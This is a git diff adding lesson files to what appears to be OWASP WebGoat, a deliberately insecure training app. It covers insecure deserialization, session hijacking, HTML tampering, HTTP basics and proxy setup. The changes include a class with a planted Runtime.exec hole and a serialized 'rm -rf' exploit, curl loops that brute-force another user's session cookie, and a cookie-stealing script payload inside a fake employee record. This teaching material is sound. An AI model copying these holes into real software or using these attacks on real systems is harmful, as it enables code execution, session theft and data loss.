a/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_SimpleExploit.adoc b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_SimpleExploit.adoc new file mode 100644 index 000000000..744d61872 --- /dev/null +++ b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_SimpleExploit.adoc @@ -0,0 +1,70 @@ +== The Simplest Exploit + +=== Vulnerable code + +The following is a well-known example for a Java Deserialization vulnerability. + +[source,java] +---- +InputStream is = request.getInputStream(); +ObjectInputStream ois = new ObjectInputStream(is); +AcmeObject acme = (AcmeObject)ois.readObject(); +---- + +It is expecting an `AcmeObject` object, but it will execute `readObject()` before the casting occurs. +If an attacker finds the proper class implementing dangerous operations in `readObject()`, he could serialize that object and force the vulnerable application to perform those actions. + +=== Class included in ClassPath + +Attackers need to find a class in the classpath that supports serialization and with dangerous implementations on `readObject()`. + +[source,java] +---- +package org.dummy.insecure.framework; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.ObjectInputStream; +import java.io.Serializable; +import java.time.LocalDateTime; + +public class VulnerableTaskHolder implements Serializable { + + private static final long serialVersionUID = 1; + + private String taskName; + private String taskAction; + private LocalDateTime requestedExecutionTime; + + public VulnerableTaskHolder(String taskName, String taskAction) { + super(); + this.taskName = taskName; + this.taskAction = taskAction; + this.requestedExecutionTime = LocalDateTime.now(); + } + + private void readObject( ObjectInputStream stream ) throws Exception { + //deserialize data so taskName and taskAction are available + stream.defaultReadObject(); + + //blindly run some code. #code injection + Runtime.getRuntime().exec(taskAction); + } +} +---- + +=== Exploit + +If the java class shown above exists, attackers can serialize that object and obtain Remote Code Execution. + +[source,java] +---- +VulnerableTaskHolder go = new VulnerableTaskHolder("delete all", "rm -rf somefile"); + +ByteArrayOutputStream bos = new ByteArrayOutputStream(); +ObjectOutputStream oos = new ObjectOutputStream(bos); +oos.writeObject(go); +oos.flush(); +byte[] exploit = bos.toByteArray(); +---- \ No newline at end of file diff --git a/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_Task.adoc b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_Task.adoc new file mode 100755 index 000000000..2f96bde14 --- /dev/null +++ b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_Task.adoc @@ -0,0 +1,8 @@ +=== Let's try +The following input box receives a serialized object (a string) and it deserializes it. + +``` +rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l +``` + +Try to change this serialized object in order to delay the page response for exactly 5 seconds. \ No newline at end of file diff --git a/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_WhatIs.adoc b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_WhatIs.adoc new file mode 100644 index 000000000..0d325f78e --- /dev/null +++ b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_WhatIs.adoc @@ -0,0 +1,23 @@ +== What is Serialization + +Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML. + +---- +a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";} +---- + +=== Native Serialization + +Many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks. + +=== Known Affected Programming Languages +* PHP +* Python +* Ruby +* Java +* C +* C++ + +=== Data, not Code + +ONLY data is serialized. Code is not serialized itself. Deserialization creates a new object and copies all the data from the byte stream, in order to obtain and object identical to the object that was serialized. \ No newline at end of file diff --git a/src/main/resources/lessons/deserialization/html/InsecureDeserialization.html b/src/main/resources/lessons/deserialization/html/InsecureDeserialization.html new file mode 100755 index 000000000..1b64172f4 --- /dev/null +++ b/src/main/resources/lessons/deserialization/html/InsecureDeserialization.html @@ -0,0 +1,38 @@ + + + + +
    +
    +
    + +
    +
    +
    + +
    +
    +
    + +
    +
    +
    + +
    + +
    +
    +
    +
    + + + + +
    +
    +
    +
    +
    + diff --git a/src/main/resources/lessons/deserialization/i18n/WebGoatLabels.properties b/src/main/resources/lessons/deserialization/i18n/WebGoatLabels.properties new file mode 100755 index 000000000..b4e5e498b --- /dev/null +++ b/src/main/resources/lessons/deserialization/i18n/WebGoatLabels.properties @@ -0,0 +1,11 @@ +insecure-deserialization.title=Insecure Deserialization + +insecure-deserialization.invalidversion=The serialization id does not match. Probably the version has been updated. Let's try again. +insecure-deserialization.expired=The task is not executable between now and the next ten minutes, so the action will be ignored. Maybe you copied an old solution? Let's try again. +insecure-deserialization.wrongobject=That is not the VulnerableTaskHolder object. Good try! because the code is not checking this after running the readObject(). Let's try again with the right object. +insecure-deserialization.stringobject=That is not the VulnerableTaskHolder object. However a plain String is harmless. Let's try again with the right object. + + +insecure-deserialization.hints.1=WebGoat probably contains the org.dummy.insecure.framework.VulnerableTaskHolder class as shown on the lesson pages. Use this to construct and serialize your attack. +insecure-deserialization.hints.2=The VulnerableTaskHolder might have been updated on the server with a next version number. +insecure-deserialization.hints.3=Not all actions are allowed anymore. The readObject has been changed. For serializing it does not effect the data. Follow the additional hints from the feedback on your attempts. \ No newline at end of file diff --git a/src/main/resources/lessons/employees.xml b/src/main/resources/lessons/employees.xml new file mode 100644 index 000000000..e7c4b0246 --- /dev/null +++ b/src/main/resources/lessons/employees.xml @@ -0,0 +1,254 @@ + + + + 101 + Larry + Stooge + 9175 Guilford Rd + New York, NY + 443-689-0192 + 1012000 + 386-09-5451 + 55000 + 2578546969853547 + 5000 + Does not work well with others + Constantly harassing coworkers + 10106 + + 102 + 111 + 112 + + + + 102 + Moe + Stooge + 3013 AMD Ave + New York, NY + 443-938-5301 + 3082003 + 936-18-4524 + 140000 + NA + 0 + Very dominating over Larry and Curly + Hit Curly over head + 101013 + + 112 + + + + 103 + Curly + Stooge + 1112 Crusoe Lane + New York, NY + 410-667-6654 + 2122001 + 961-08-0047 + 50000 + NA + 0 + Owes three-thousand to company for fradulent purchases + Hit Moe back + 101014 + + 102 + 111 + 112 + + + + 104 + Eric + Walker + 1160 Prescott Rd + New York, NY + 410-887-1193 + 12152005 + 445-66-5565 + 13000 + NA + 0 + Late. Always needs help. Too intern-ish. + Bothering Larry about webgoat problems + 101013 + + 107 + 102 + 111 + 112 + + + + 105 + Tom + Cat + 2211 HyperThread Rd. + New York, NY + 443-599-0762 + 1011999 + 792-14-6364 + 80000 + 5481360857968521 + 30000 + Co-Owner. + NA + 0 + + 106 + 102 + 111 + 112 + + + + 106 + Jerry + Mouse + 3011 Unix Drive + New York, NY + 443-699-3366 + 1011999 + 858-55-4452 + 70000 + 6981754825013564 + 20000 + Co-Owner. + NA + 0 + + 102 + 111 + 112 + + + + 107 + David + Giambi + 5132 DIMM Avenue + New York, NY + 610-521-8413 + 5011999 + 439-20-9405 + 100000 + 6981754825018101 + 10000 + Strong work habbit. Questionable ethics. + Hacked into accounting server. Modified personal pay. + 61402 + + 102 + 111 + 112 + + + + 108 + Bruce + McGuirre + 8899 FreeBSD Drive<script>alert(document.cookie)</script> + New York, NY + 610-282-1103 + 3012000 + 707-95-9482 + 110000 + 6981754825854136 + 30000 + Enjoys watching others struggle in exercises. + Tortuous Boot Camp workout at 5am. Employees felt sick. + 61502 + + 107 + 102 + 111 + 112 + + + + 109 + Sean + Livingston + 6422 dFlyBSD Road + New York, NY + 610-878-9549 + 6012003 + 136-55-1046 + 130000 + 6981754825014510 + 5000 + Has some fascination with Steelers. Go Ravens. + Late to work 30 days in row due to excessive Halo 2 + 72804 + + 107 + 102 + 111 + 112 + + + + 110 + Joanne + McDougal + 5567 Broadband Lane + New York, NY + 610-213-6341 + 1012001 + 789-54-2413 + 90000 + 6981754825081054 + 300 + Finds it necessary to leave early every day. + Used company cc to purchase new car. Limit adjusted. + 112005 + + 106 + 102 + 111 + 112 + + + + 111 + John + Wayne + 129 Third St + New York, NY + 610-213-1134 + 1012001 + 129-69-4572 + 200000 + 4437334565679921 + 300 + + + 112005 + + 112 + + + + 112 + Neville + Bartholomew + 1 Corporate Headquarters + San Jose, CA + 408-587-0024 + 3012000 + 111-111-1111 + 450000 + 4803389267684109 + 300 + + + 112005 + + 112 + + + diff --git a/src/main/resources/lessons/hijacksession/documentation/HijackSession_content0.adoc b/src/main/resources/lessons/hijacksession/documentation/HijackSession_content0.adoc new file mode 100644 index 000000000..8b260b0da --- /dev/null +++ b/src/main/resources/lessons/hijacksession/documentation/HijackSession_content0.adoc @@ -0,0 +1,4 @@ += Hijack a Session + +In this lesson we are trying to predict the 'hijack_cookie' value. THe 'hijack_cookie' is used to differentiate authenticated and anonymous users of WebGoat. + diff --git a/src/main/resources/lessons/hijacksession/documentation/HijackSession_plan.adoc b/src/main/resources/lessons/hijacksession/documentation/HijackSession_plan.adoc new file mode 100644 index 000000000..dd5a74336 --- /dev/null +++ b/src/main/resources/lessons/hijacksession/documentation/HijackSession_plan.adoc @@ -0,0 +1,10 @@ += Hijack a Session + +== Concept + +Application developers who develop their own session IDs frequently forget to incorporate the complexity and randomness necessary for security. If the user specific session ID is not complex and random, then the application is highly susceptible to session-based brute force attacks. + + +== Goals + +Gain access to an authenticated session belonging to someone else. diff --git a/src/main/resources/lessons/hijacksession/html/HijackSession.html b/src/main/resources/lessons/hijacksession/html/HijackSession.html new file mode 100644 index 000000000..a341ff809 --- /dev/null +++ b/src/main/resources/lessons/hijacksession/html/HijackSession.html @@ -0,0 +1,30 @@ + + + + + + + +
    +
    +
    + + +
    +
    +
    +
    + +
    + +
    +
    +
    + +
    +
    +
    +
    + + diff --git a/src/main/resources/lessons/hijacksession/i18n/WebGoatLabels.properties b/src/main/resources/lessons/hijacksession/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..7d8972ae1 --- /dev/null +++ b/src/main/resources/lessons/hijacksession/i18n/WebGoatLabels.properties @@ -0,0 +1,7 @@ +hijacksession.title=Hijack a session + +hijacksession.hints.1=Check the 'hijack_cookie' cookie value and think about its format. +hijacksession.hints.2=The 'hijack_cookie' is divided in two parts and has the following format '"long number"-"another long number"'. +hijacksession.hints.3=The 'hijack_cookie' is divided in two parts and has the following format '"sequential number"-"unix epoch time"'. +hijacksession.hints.4=Try to send multiple requests to force the creation of new cookies and check if there's any pattern. +hijacksession.hints.5=Sometimes, authorized users logs into the application. diff --git a/src/main/resources/lessons/hijacksession/lessonSolutions/en/HijackSession_solution.adoc b/src/main/resources/lessons/hijacksession/lessonSolutions/en/HijackSession_solution.adoc new file mode 100644 index 000000000..e76cd39d1 --- /dev/null +++ b/src/main/resources/lessons/hijacksession/lessonSolutions/en/HijackSession_solution.adoc @@ -0,0 +1,93 @@ += Hijack a Session + +== Solution + +Some standard Linux tools have been used on this solution. + +=== Analysis + +Inspect the 'hijack_cookie' cookie value: + +[source, text] +---- +3814082160704930327-1636910266991 +---- + +The 'hijack_cookie' is divided in two parts and has the following format: + +**-** + +The first part of the cookie value is an identifier that increases by 1 in each cookie, and the part after the dash is a time value that is calculated when the request is submitted. + +Notice that there is sometimes a gap in the first value of the 'hijack_cookie', where one number (or more) is skipped. The missing value means that possibly some user logged in into the system and an authorized cookie has been generated and assigned to him. + +It's simple to spot where this value is if we know the cookie values between this valid user cookie. + +=== Brute forcing + +Send some clean request (without setting the hijack_cookie) to the /WebGoat/HijackSession/login endpoint. + +[source, sh] +---- +# command +for i in $(seq 1 10); do +curl 'http://localhost:8080/WebGoat/HijackSession/login' \ +-H 'Connection: keep-alive' \ +-H 'sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"' \ +-H 'Accept: */*' \ +-H 'X-Requested-With: XMLHttpRequest' \ +-H 'sec-ch-ua-mobile: ?0' \ +-H 'User-Agent: any' \ +-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \ +-H 'Origin: http://localhost:8080' \ +-H 'Sec-Fetch-Site: same-origin' \ +-H 'Sec-Fetch-Mode: cors' \ +-H 'Sec-Fetch-Dest: empty' \ +-H 'Referer: http://localhost:8080/WebGoat/start.mvc' \ +-H 'Accept-Language: en-US,en;q=0.9' \ +-H "Cookie: JSESSIONID=T_kki1UnFP7XTxdEqX-XmZ25qgmKDFtqyoeHyQhW" \ +--data-raw 'username=&password=' \ +--compressed \ +--output /dev/null \ +-v +done + +# cookies +<...> +< Set-Cookie: hijack_cookie=3026815832223943295-1636913556701; path=/WebGoat; secure +< Set-Cookie: hijack_cookie=3026815832223943296-1636913556848; path=/WebGoat; secure +< Set-Cookie: hijack_cookie=3026815832223943297-1636913556998; path=/WebGoat; secure +< Set-Cookie: hijack_cookie=3026815832223943299-1636913557143; path=/WebGoat; secure +<...> +---- + +Note: a valid WebGoat JSESSIONID has to be used. It can be obtained after logging in into WebGoat. + +The 'hijack_cookie' beginning with 3026815832223943298 is missing. This is the value we want, we just need to figure out the second part. + +So our timestamp is between 1636913556998 and 1636913557143. Now we just need a program to do brute force this for us. + +[source, sh] +---- +for i in $(seq 1636913556998 1636913557143); do +curl 'http://localhost:8080/WebGoat/HijackSession/login' \ +-H 'Connection: keep-alive' \ +-H 'sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"' \ +-H 'Accept: */*' \ +-H 'X-Requested-With: XMLHttpRequest' \ +-H 'sec-ch-ua-mobile: ?0' \ +-H 'User-Agent: any' \ +-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \ +-H 'Origin: http://localhost:8080' \ +-H 'Sec-Fetch-Site: same-origin' \ +-H 'Sec-Fetch-Mode: cors' \ +-H 'Sec-Fetch-Dest: empty' \ +-H 'Referer: http://localhost:8080/WebGoat/start.mvc' \ +-H 'Accept-Language: en-US,en;q=0.9' \ +-H "Cookie: JSESSIONID=T_kki1UnFP7XTxdEqX-XmZ25qgmKDFtqyoeHyQhW; hijack_cookie=3026815832223943298-"$i"" \ +--data-raw 'username=&password=' \ +--compressed +done +---- + +One of those requests will be a valid login and the lesson will be marked as completed. diff --git a/src/main/resources/lessons/hijacksession/lessonSolutions/html/HijackSession.html b/src/main/resources/lessons/hijacksession/lessonSolutions/html/HijackSession.html new file mode 100644 index 000000000..ac8ab94d5 --- /dev/null +++ b/src/main/resources/lessons/hijacksession/lessonSolutions/html/HijackSession.html @@ -0,0 +1,14 @@ + + + + + + +
    + + +
    +
    + + + diff --git a/src/main/resources/lessons/hijacksession/templates/hijackform.html b/src/main/resources/lessons/hijacksession/templates/hijackform.html new file mode 100644 index 000000000..16370fd90 --- /dev/null +++ b/src/main/resources/lessons/hijacksession/templates/hijackform.html @@ -0,0 +1,24 @@ +
    +
    +
    +
    +

    Account Access

    +
    +
    + + +
    +
    + +
    + +
    +
    +
    +
    +
    diff --git a/src/main/resources/lessons/htmltampering/documentation/HtmlTampering_Intro.adoc b/src/main/resources/lessons/htmltampering/documentation/HtmlTampering_Intro.adoc new file mode 100755 index 000000000..998433314 --- /dev/null +++ b/src/main/resources/lessons/htmltampering/documentation/HtmlTampering_Intro.adoc @@ -0,0 +1,8 @@ + +== Concept +Browsers generally offer many options of editing the displayed content. Developers +therefore must be aware that the values sent by the user may have been tampered with. + +== Goals +* The user should have a basic understanding of HTML +* The user will be able to exploit editing front end of website diff --git a/src/main/resources/lessons/htmltampering/documentation/HtmlTampering_Mitigation.adoc b/src/main/resources/lessons/htmltampering/documentation/HtmlTampering_Mitigation.adoc new file mode 100755 index 000000000..631fbe0ae --- /dev/null +++ b/src/main/resources/lessons/htmltampering/documentation/HtmlTampering_Mitigation.adoc @@ -0,0 +1,14 @@ +=== Mitigation + +In this simple example you noticed that the price is calculated client-side and sent to the server. The server +accepted the input as a given and did not calculate the price again. One of the mitigations in this case is to look up +the price of the television in your database and calculate the total price again. + + +In a real application you should never rely on client side validation. It is important to verify all the input +sent by the client. Always remember: **NEVER TRUST INPUT SENT BY A CLIENT.** + +'''' +==== References + +https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html diff --git a/src/main/resources/lessons/htmltampering/documentation/HtmlTampering_Task.adoc b/src/main/resources/lessons/htmltampering/documentation/HtmlTampering_Task.adoc new file mode 100755 index 000000000..ae07f6891 --- /dev/null +++ b/src/main/resources/lessons/htmltampering/documentation/HtmlTampering_Task.adoc @@ -0,0 +1,2 @@ +=== Try it yourself +In an online store you ordered a new TV, try to buy one or more TVs for a lower price. diff --git a/src/main/resources/lessons/htmltampering/html/HtmlTampering.html b/src/main/resources/lessons/htmltampering/html/HtmlTampering.html new file mode 100755 index 000000000..c40fdd68c --- /dev/null +++ b/src/main/resources/lessons/htmltampering/html/HtmlTampering.html @@ -0,0 +1,148 @@ + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    + +
    +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    ProductQuantityPriceTotal 
    +
    + + +
    +

    55'' M5510 White Full HD Smart TV +

    +
    by Samsung
    + Status: In Stock +
    +
    +
    + + 2999.99$2999.99 + +
         
    Subtotal
    $2999.99
    +
         
    Shipping costs
    $0.00
    +
         

    Total

    $2999.99

    +
          + + +
    + +
    +
    +
    +
    +
    +
    +

    +
    +
    +
    +
    +
    +
    +
    + diff --git a/src/main/resources/lessons/htmltampering/i18n/WebGoatLabels.properties b/src/main/resources/lessons/htmltampering/i18n/WebGoatLabels.properties new file mode 100755 index 000000000..24ae7a2ed --- /dev/null +++ b/src/main/resources/lessons/htmltampering/i18n/WebGoatLabels.properties @@ -0,0 +1,9 @@ +html-tampering.title=HTML tampering + + +html-tampering.tamper.success=Well done, you just bought a TV at a discount +html-tampering.tamper.failure=This is too expensive... You need to buy at a cheaper cost! + +hint1=Try to change the number of items and see what is happening +hint2=Is the price part of the HTML request? +hint3=Intercept the request and manipulate the price before submitting it. diff --git a/src/main/resources/lessons/htmltampering/images/samsung.jpg b/src/main/resources/lessons/htmltampering/images/samsung.jpg new file mode 100644 index 000000000..dd15a64cf Binary files /dev/null and b/src/main/resources/lessons/htmltampering/images/samsung.jpg differ diff --git a/src/main/resources/lessons/httpbasics/documentation/HttpBasics_content1.adoc b/src/main/resources/lessons/httpbasics/documentation/HttpBasics_content1.adoc new file mode 100644 index 000000000..38ca4125e --- /dev/null +++ b/src/main/resources/lessons/httpbasics/documentation/HttpBasics_content1.adoc @@ -0,0 +1,8 @@ + +Enter your name in the input field below and press "Go!" to submit. The server will accept the request, reverse the +input and display it back to the user, illustrating the basics of handling an HTTP request. + +== Try It! + +Enter your name in the input field below and press "Go!" to submit. The server will accept the request, reverse the input +and display it back to the user, illustrating the basics of handling an HTTP request. \ No newline at end of file diff --git a/src/main/resources/lessons/httpbasics/documentation/HttpBasics_content2.adoc b/src/main/resources/lessons/httpbasics/documentation/HttpBasics_content2.adoc new file mode 100644 index 000000000..122f18efe --- /dev/null +++ b/src/main/resources/lessons/httpbasics/documentation/HttpBasics_content2.adoc @@ -0,0 +1,4 @@ +== The Quiz + +What type of HTTP command did WebGoat use for this lesson. A POST or a GET. + diff --git a/src/main/resources/lessons/httpbasics/documentation/HttpBasics_plan.adoc b/src/main/resources/lessons/httpbasics/documentation/HttpBasics_plan.adoc new file mode 100644 index 000000000..bf391a3b1 --- /dev/null +++ b/src/main/resources/lessons/httpbasics/documentation/HttpBasics_plan.adoc @@ -0,0 +1,28 @@ += HTTP Basics + +== Concept + +This lesson presents the basics for understanding the transfer of data between the browser and the web application and how to trap a request/response with a HTTP proxy. + +== Goals + +The user should become familiar with the features of WebGoat by manipulating the above +buttons to view hints, show the HTTP request parameters, the HTTP request cookies, and the Java source code. You may also try using +link:https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project[OWASP Zed Attack Proxy] for the first time. + +=== How HTTP works: + +All HTTP transactions follow the same general format. Each client request and server response has three parts: the request or response line, a header section and the entity body. + +The client initiates a transaction as follows: + +* The client contacts the server and sends a document request. A GET request can have url parameters and those parameters will be available in the web access logs. + +** GET /index.html?param=value HTTP/1.0 + +* Next, the client sends optional header information to inform the server of its configuration and the document formats it will accept. + +** User-Agent: Mozilla/4.06 Accept: image/gif,image/jpeg, */* + +* In a POST request, the user supplied data will follow the optional headers and is not part of the contained within the POST URL. + diff --git a/src/main/resources/lessons/httpbasics/html/HttpBasics.html b/src/main/resources/lessons/httpbasics/html/HttpBasics.html new file mode 100644 index 000000000..e3dcc79c0 --- /dev/null +++ b/src/main/resources/lessons/httpbasics/html/HttpBasics.html @@ -0,0 +1,86 @@ + + + + +
    + + +
    +
    + +
    + + +
    + +
    +
    + + + +
    +
    + + Enter Your Name: + +
    + + +
    +
    + +
    + +
    + +
    + + +
    +
    +
    + + + + +
    + + + + + + + + + + + + + +
    Was the HTTP command a POST or a GET:
    What is the magic number:
    +
    + +
    +
    + +
    +
    + + diff --git a/src/main/resources/lessons/httpbasics/i18n/WebGoatLabels.properties b/src/main/resources/lessons/httpbasics/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..04ba9486a --- /dev/null +++ b/src/main/resources/lessons/httpbasics/i18n/WebGoatLabels.properties @@ -0,0 +1,16 @@ +http-basics.EnterYourName=Enter your Name +http-basics.Go!=Go! +1.http-basics.title=HTTP Basics + + +http-basics.hints.http_basics_lesson.1=Type in your name and press 'go' +http-basics.hints.http_basic_quiz.1=Turn on Show Parameters or other features +http-basics.hints.http_basic_quiz.2=Try to intercept the request with OWASP ZAP + + +http-basics.empty=Try again, name cannot be empty. +http-basics.reversed=The server has reversed your name: {0} + +http-basics.close=Try again: but this time enter a value before hitting go. +http-basics.incorrect=You are close, try again: the HTTP Command is incorrect. +http-basics.magic=You are close, try again: the magic number is incorrect. \ No newline at end of file diff --git a/src/main/resources/lessons/httpbasics/i18n/WebGoatLabels_de.properties b/src/main/resources/lessons/httpbasics/i18n/WebGoatLabels_de.properties new file mode 100644 index 000000000..9cff84f10 --- /dev/null +++ b/src/main/resources/lessons/httpbasics/i18n/WebGoatLabels_de.properties @@ -0,0 +1,2 @@ +EnterYourName=Geben Sie Ihren Namen ein +Go!=Los gehts! diff --git a/src/main/resources/lessons/httpbasics/i18n/WebGoatLabels_fr.properties b/src/main/resources/lessons/httpbasics/i18n/WebGoatLabels_fr.properties new file mode 100644 index 000000000..d6cd32b0d --- /dev/null +++ b/src/main/resources/lessons/httpbasics/i18n/WebGoatLabels_fr.properties @@ -0,0 +1,2 @@ +EnterYourName=Entrez votre nom +Go!=Go! diff --git a/src/main/resources/lessons/httpbasics/i18n/WebGoatLabels_nl.properties b/src/main/resources/lessons/httpbasics/i18n/WebGoatLabels_nl.properties new file mode 100644 index 000000000..afac8f96d --- /dev/null +++ b/src/main/resources/lessons/httpbasics/i18n/WebGoatLabels_nl.properties @@ -0,0 +1,16 @@ +http-basics.EnterYourName=Voer je naam in +http-basics.Go!=Go! +1.http-basics.title=HTTP Basics + + + +http-basics.hints.http_basics_lesson.1=Type je naam in en druk op 'Go' +http-basics.hints.http_basic_quiz.1=Schakel 'Toon paramaters of andere eigenschappen' in +http-basics.hints.http_basic_quiz.2=Probeer het verzoek te onderscheppen met OWASP ZAP + + +http-basics.reversed=De server heeft je naam omgedraaid: {0} + +http-basics.close=Je bent er bijna, probeer nog eens: {0} +http-basics.incorrect=het HTTP commando is niet correct. +http-basics.magic=het magische getal is niet correct. \ No newline at end of file diff --git a/src/main/resources/lessons/httpbasics/i18n/WebGoatLabels_ru.properties b/src/main/resources/lessons/httpbasics/i18n/WebGoatLabels_ru.properties new file mode 100644 index 000000000..efac4480c --- /dev/null +++ b/src/main/resources/lessons/httpbasics/i18n/WebGoatLabels_ru.properties @@ -0,0 +1,2 @@ +EnterYourName=\u0412\u0432\u0435\u0434\u0438\u0442\u0435 \u0432\u0430\u0448\u0435 \u0438\u043c\u044f +Go!=\u0412\u043f\u0435\u0440\u0451\u0434! diff --git a/src/main/resources/lessons/httpproxies/documentation/0overview.adoc b/src/main/resources/lessons/httpproxies/documentation/0overview.adoc new file mode 100644 index 000000000..7d6434d94 --- /dev/null +++ b/src/main/resources/lessons/httpproxies/documentation/0overview.adoc @@ -0,0 +1,34 @@ +==== What's an HTTP Proxy + +A proxy is some forwarder application that connects your HTTP client to backend resources. +HTTP clients can be browsers or applications like curl, SOAP UI, Postman, etc. +Usually, these proxies are used for routing and getting internet access when there is no direct connection to the internet from the client itself. +HTTP proxies are therefore also ideal when you are testing your application. +You can always use the proxy log records to see what was actually sent from client to server. +So you can check the request and response headers and the XML, JSON, or other payloads. + +HTTP Proxies receive requests from a client and relay them. +They also typically record them. +They act as a man-in-the-middle. +It even works fine with or without HTTPS as long as your client or browser trusts the certificate of the HTTP Proxy. + +{nbsp} + + +==== ZAP Proxy Capabilities + +With ZAP, you can record traffic, inspect traffic, modify requests and responses from and to your browser, and get reports on a range of known vulnerabilities that ZAP detects through the inspection of the traffic. +The passive and active reporting on security issues is usually used in Continuous Delivery pipelines that use a GUI-less ZAP. +Here we will use ZAP interactively and mainly to see and modify requests to find vulnerabilities and solve assignments. +ZAP has a graphical user interface but now also has a HUD Heads-On-Display, which uses a web socket connection between the browser, and the ZAP proxy. + +{nbsp} + + +==== Next pages + +You can go through all lesson pages or click on these links to skip some pages. + +* link:start.mvc#lesson/HttpProxies.lesson/1[Configuring] OWASP ZAP and browser +* link:start.mvc#lesson/HttpProxies.lesson/5[Filtering] requests with ZAP +* link:start.mvc#lesson/HttpProxies.lesson/6[A proxy assignment] with ZAP +* link:start.mvc#lesson/HttpProxies.lesson/7[Replaying requests] with ZAP +* link:start.mvc#lesson/HttpProxies.lesson/8[Replaying requests] with Burp diff --git a/src/main/resources/lessons/httpproxies/documentation/10burp.adoc b/src/main/resources/lessons/httpproxies/documentation/10burp.adoc new file mode 100644 index 000000000..220ff75bb --- /dev/null +++ b/src/main/resources/lessons/httpproxies/documentation/10burp.adoc @@ -0,0 +1,38 @@ +=== Burp Proxy + +Another proxy you can use is Burp. One of the exercises in WebGoat can only be resolved with Burp and not yet with OWAP ZAP. +You can only configure Burp manually. Please follow the steps described link:start.mvc#lesson/HttpProxies.lesson/8[here] first. +You can download the Burp community edition as a https://portswigger.net/burp/communitydownload[plain jar file,window=_blank] + +[source] +---- +java -jar burpsuite_community_v2.1.04.jar +---- + +Choose `temporary project`, followed by `use burp defaults.` + +Go to the proxy options and change it to use port 8090 + +image::images/burpproxy.png[Burp proxy options,style="lesson-image"] + +On this page, you can also export the Burp certificate and import it into your browser. Similar to the instructions in previous pages. + +Go to the proxy intercept page and click on the toggle so that intercept is switched off. (By default nd in the picture below, it is switched on) + +image::images/burpintercept.png[Burp intercept,style="lesson-image"] + +Then start a browser connected to the proxy and start using WebGoat. +Now adjust the intercept request setting by extending the rule on what not to intercept: + +image::images/burpfilterclient.png[Burp client request filter,style="lesson-image"] + +Use e.g.: (\^mvc$|^txt$|\^woff$|^lesson$|\^gif$|^jpg$|\^png$|^css$|\^js$|^ico$) +Then enable the intercept by clicking on the earlier mentioned toggle. + +An intercept will look like: + +image::images/burpintercepted.png[Burp client request filter,style="lesson-image"] + +Finally, you can look at the history and add filters for the history and replay requests from this screen: + +image::images/burpfilter.png[Burp history,style="lesson-image"] diff --git a/src/main/resources/lessons/httpproxies/documentation/1proxysetupsteps.adoc b/src/main/resources/lessons/httpproxies/documentation/1proxysetupsteps.adoc new file mode 100644 index 000000000..30952e5db --- /dev/null +++ b/src/main/resources/lessons/httpproxies/documentation/1proxysetupsteps.adoc @@ -0,0 +1,11 @@ +==== HTTP Proxy Setup + +Since this is an OWASP project, we'll be using OWASP ZAP. +If you are comfortable using another proxy (e.g., Burp), you can skip this. +Otherwise, this will show you how to set up ZAP as a proxy on your local host. + +* First download and install https://www.zaproxy.org/download/[ZAP] for your operating system +* Start ZAP +* Start the browser directly from ZAP + + diff --git a/src/main/resources/lessons/httpproxies/documentation/3browsersetup.adoc b/src/main/resources/lessons/httpproxies/documentation/3browsersetup.adoc new file mode 100644 index 000000000..4757ccb90 --- /dev/null +++ b/src/main/resources/lessons/httpproxies/documentation/3browsersetup.adoc @@ -0,0 +1,29 @@ +==== Setting up browser + +If you use the latest ZAP version (>= 2.8.0), you only need to start ZAP and click the browser button to be able to proxy, see image below: + +{nbsp} + + +image::images/zap-browser-button.png[ZAP Start,style="lesson-image"] + +{nbsp} + + +In the browser type: http://localhost:8080/WebGoat, you should see WebGoat and the OWASP ZAP Heads On Display (if you use OWASP ZAP as the proxy): + +{nbsp} + + +image::images/loginscreen.png[Browser with HUD,style="lesson-image"] + +{nbsp} + + +You might notice that this is the Dutch login screen. The browser determines the language settings. For some pages, there will be some local translations. You can contribute to WebGoat and add more for your preferred language. You can disable the Heads On Display by clicking on the highlighted button. You can learn about the OWASP ZAP HUD on their website. For now, we recommend disabling it as it kind of blocks the menu items. + +You should see the following in OWASP ZAP on the history panel: + +{nbsp} + + +image::images/zap-history.png[ZAP History,style="lesson-image"] + +{nbsp} + + +On the next page, we will show how to filter these requests to see only relevant requests and configure the interceptor. diff --git a/src/main/resources/lessons/httpproxies/documentation/5configurefilterandbreakpoints.adoc b/src/main/resources/lessons/httpproxies/documentation/5configurefilterandbreakpoints.adoc new file mode 100644 index 000000000..c642561bb --- /dev/null +++ b/src/main/resources/lessons/httpproxies/documentation/5configurefilterandbreakpoints.adoc @@ -0,0 +1,23 @@ +==== Filter requests in history panel + +In the main ZAP window, click on Filter; see the image below. + +image::images/zap-exclude.png[Exclude internal APIs from 